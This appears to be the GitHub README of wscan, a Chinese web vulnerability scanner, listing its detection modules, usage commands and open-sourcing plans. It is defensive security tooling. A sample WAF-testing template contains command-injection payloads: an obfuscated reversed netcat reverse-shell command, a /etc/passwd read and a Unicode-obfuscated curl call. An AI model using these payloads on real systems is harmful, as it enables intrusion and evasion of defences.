chushuai/wscan

GitHub: chushuai/wscan

Wscan 是一款基于机器学习理念构建的全自动化 Web 安全扫描器,旨在通过主动和被动扫描模式高效发现 Web 应用中的各类安全漏洞。

Stars: 708 | Forks: 80

[**中文**](README_CN.md) # wscan Wscan 是一款专注于 WEB 安全的 Web 安全扫描器。它向已经开源 25 年的 Nmap 致敬。我们也计划在未来的 25 年里持续更新并保持 Wscan 的开源状态。我们欢迎任何对 Web 安全感兴趣的人加入我们的开发团队。 我们的目标是开发一款利用机器学习进行渗透测试的工具。与其他工具不同,我们的工具能够自动学习攻防模式,并针对特定目标发起个性化攻击。这样,我们的攻击效率和准确率将大幅提升,同时也降低了误报率。 我们的工具采用机器学习技术来实现全自动化的 Web 渗透测试。这意味着无需手动添加和更新规则与签名;它可以自动学习并适应新的攻击模式和漏洞。 机器学习技术还能够快速处理海量数据和流量,从而极大地提高测试效率和准确性。此外,它还能识别并发现人类难以察觉的漏洞和弱点,进而提升测试的质量与可靠性。 我们相信,利用机器学习技术进行渗透测试将是未来网络安全的重要发展方向。我们希望我们的工具能够帮助更多人守护网络安全,并为网络安全领域做出贡献。 ![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/tool/github/9f9e48711df62c154bde487c989dd3a9.gif) # 检测模块 | 检测模块 | Wscan | Xray | 说明 | |--------------|-------|-----|------------------------------------------------------------------------------------------------------------------------------------------------------------| | `动态爬虫支持` | √ | × | 支持对 JavaScript 渲染的 Web 内容进行动态爬取 | | `静态爬虫支持` | √ | √ | 支持对静态 HTML Web 内容进行爬取 | | `基于 MITM 的被动扫描` | √ | √ | 通过 MITM(中间人)被动监控并分析流量 | | `xss` | √ | √ | 使用语义分析检测 XSS 漏洞 | | `sqldet` | √ | 部分支持 | 支持 header 注入、路径注入、报错注入、布尔注入以及时间盲注等 | | | `cmd-injection` | √ | √ | 支持 shell 命令注入、PHP 代码执行、模板注入等 | | `dirscan` | √ | √ | 检测备份文件、临时文件、调试页面、配置文件等 10 余种敏感路径和文件 | | `path-traversal` | √ | √ | 支持常见平台和编码方式 | | `xxe` | √ | √ | 支持回显和反连平台检测 | | `upload` | √ | √ | 支持常见的后端语言 | | `brute-force` | √ | √ | 社区版支持检测 HTTP basic 认证和简单的表单弱密码,内置常见的用户名和密码字典 | | `jsonp` | √ | √ | 检测包含敏感信息且可跨域读取的 jsonp 接口 | | `ssrf` | √ | √ | SSRF 检测模块,支持常见的绕过技术和反连平台检测 | | `baseline` | √ | √ | 检测低版本的 SSL、缺失或错误添加的 HTTP header 等 | | `redirect` | √ | √ | 支持 HTML meta 跳转、30x 跳转等 | | `crlf-injection` | √ | √ | 检测 HTTP 头注入,支持 query、body 等参数 | | `xstream` | √ |√ | 检测 XStream 系列漏洞 | | `struts` | √ | √ | 检测目标网站是否存在 Struts2 系列漏洞,包括 s2-016、s2-032、s2-045、s2-059 和 s2-061 等常见漏洞。 | | `thinkphp` | √ | √ | 检测使用 ThinkPHP 开发的网站中的漏洞 | | `shiro` | √ | √ | 检测 Shiro 反序列化漏洞 | | `fastjson` | √ | √ | 检测 fastjson 漏洞 | | `Nuclei YAML POC` | √ | × | Nuclei 标准 POC 检测插件 | | `Xray YAML POC` | √ | √ | Xray 标准的 POC 检测插件 | | `Goby JSON POC` | √ | × | Goby 标准 POC 检测插件 | | `WAF 绕过检测` | √ | × | 自定义各种特殊的 payload,以测试 Waf 能否将其拦截 | | `WEB 组件识别` | √ | × | 识别 Web 应用中的组件及相关技术 | | `JavaScript 敏感内容检测`| √ | × | 检测 JavaScript 中的敏感内容,如 AK/SK、API keys、电话号码、电子邮件等。 | |`Swagger / OpenAPI` | √ | × | 支持 Swagger / OpenAPI 渗透测试 | # 使用示例 ⬇️[下载链接](https://github.com/chushuai/wscan/releases) [🏠最佳实践](https://github.com/chushuai/wscan/blob/main/doc/BestPractices.md) ``` (1) Active Scan ./wscan --log-level=debug ws --basic-crawler --url http://testphp.vulnweb.com/ --json-output=wscan_scan_result.json --html-output=wscan_scan_result.html ./wscan --log-level=debug ws --basic-crawler --url-file=/wscan/url_file.txt --html-output=wscan_scan_result.html ./wscan --log-level=debug ws --browser --url http://testphp.vulnweb.com/ --html-output=wscan_scan_result.html ./wscan --log-level=debug ws --browser --url-file=/wscan/url_file.txt --html-output=wscan_scan_result.html ./wscan --log-level=debug ws --url http://testphp.vulnweb.com/listproducts.php?cat=1 --json-output=wscan_scan_result.json ./wscan --log-level=debug ws --url-file=/wscan/url_file.txt --html-output=wscan_scan_result.html ./wscan --log-level=debug ws --poc=/your_wscan_poc/wscan-poc/pocs/* --url http://testphp.vulnweb.com/ --html-output=wscan_scan_result.html (2) Passive Scan ./wscan --log-level=debug ws --listen=127.0.0.1:1000 --json-output=wscan_scan_result.json (3)POC Scan 3.1 POC download address https://github.com/chushuai/wscan-poc/releases 3.2 When Wscan is first run, a file named config.yaml will be generated. You need to modify the following content in this file to specify the path of include_poc. prometheus: enabled: true depth: 1 auto_load_poc: false include_poc: - C:\wscan_windows_amd64.exe\wscan-poc-1.0.0\pocs\*.yml exclude_poc: [] 3.3 Enable --plug=prometheus via command line, and specify the absolute path of --url-file (one URL per line) to conduct large-scale POC detection. ./wscan --log-level=debug ws --plug=prometheus --url-file=/url_file.txt --html-output=wscan_scan_result.html (4) Custom web general vulnerability scanning template (Waf bypass/Waf testing) 4.1 Unlike POC testing, the custom web general vulnerability scanning plugin will perform FUZZ on the parameters at the specified location. Sample reference https://github.com/chushuai/wscan/tree/main/core/plugins/custom_tmpl/tmpl/owasp Plugin sample --- payload: - $(printf 'hsab/nib/ e- 4321 1.0.0.721 cn'|rev) - /etc/passwd - "`curl -L http://\u24BC\u24C4\u24C4\u24BC\u24C1\u24BA.\u24B8\u24C4\u24C2`" encoder: - URL placeholder: - URLParam - HTMLForm - HTMLMultipartForm - JSONRequest type: "RCE" ... 4.2 You need to modify the following content in the config.yaml file to specify the path of include_tmpl. enabled: true depth: 0 auto_load_tmpl: false include_tmpl: - /wscan/core/plugins/custom_tmpl/tmpl/owasp/*.yml exclude_tmpl: [ ] block_status_codes: # When blocked by WAF, the HTTP status code list, default value is 403 - 403 pass_status_codes: # When not blocked by WAF, the HTTP status code list, default value is 200 or 404 - 200 - 404 block_regex: "" # Regular expression for web pages blocked by WAF pass_regex: "" # Regular expression for web pages not blocked by WAF non_blocked_as_passed: false 4.3 Enable --plug=custom_tmpl via command line to conduct custom Payload testing on the target website. ./wscan --log-level=debug ws --plug=custom_tmpl --browser --url http://testphp.vulnweb.com/ --html-output=wscan_scan_result.html (5) Independent deployment of anti-connection module ./wscan reverse (6) The MCP service uses the Streamable HTTP communication protocol and supports remote task management and website security scanning. ./wscan mcp --mcp-host=0.0.0.0 --mcp-port=7001 ``` # 开源计划如下 Wscan 的目标是打造一个开源、非盈利的项目。然而,由于 Wscan 涉及的工作量巨大, 代码目前仍在快速迭代中。过早开源可能会导致各种修改版本的出现, 这不利于工具的传播和项目未来的发展。 因此,我们计划以 Stars 为指标,分阶段、分模块地进行开源, 以确保项目的健壮性和社区参与的有序性。 1. YAML POC 扫描模块(当 Stars > 400 时开源) 2. 反向连接模块(当 Stars > 400 时开源) 3. SQL 注入模块(当 Stars > 500 时开源) 4. 动态爬虫(当 Stars > 600 时开源) 5. 目录扫描模块(当 Stars > 700 时开源) 6. 基线扫描(当 Stars > 800 时开源) 7. 基于消息订阅的插件调度模块(当 Stars > 900 时开源) 8. HTTP 参数变形模块;传统扫描模块全部开源;用户可以自行修改、编译和构建扫描器(当 Stars > 1k 时开源) 9. 降低误报的机器学习模块(当 Stars > 3k 时开源) 10. 自动生成 Payload 的机器学习模块(当 Stars > 4k 时开源) # Star 历史 [![Star History Chart](https://api.star-history.com/svg?repos=chushuai/wscan,chaitin/xray,projectdiscovery/nuclei&type=Date)](https://star-history.com/#chushuai/wscan&chaitin/xray&projectdiscovery/nuclei&Date)
标签:Apex, CISA项目, DOE合作, EVTX分析, Web安全扫描器, 日志审计, 机器学习, 用户模式钩子绕过, 自动化漏洞检测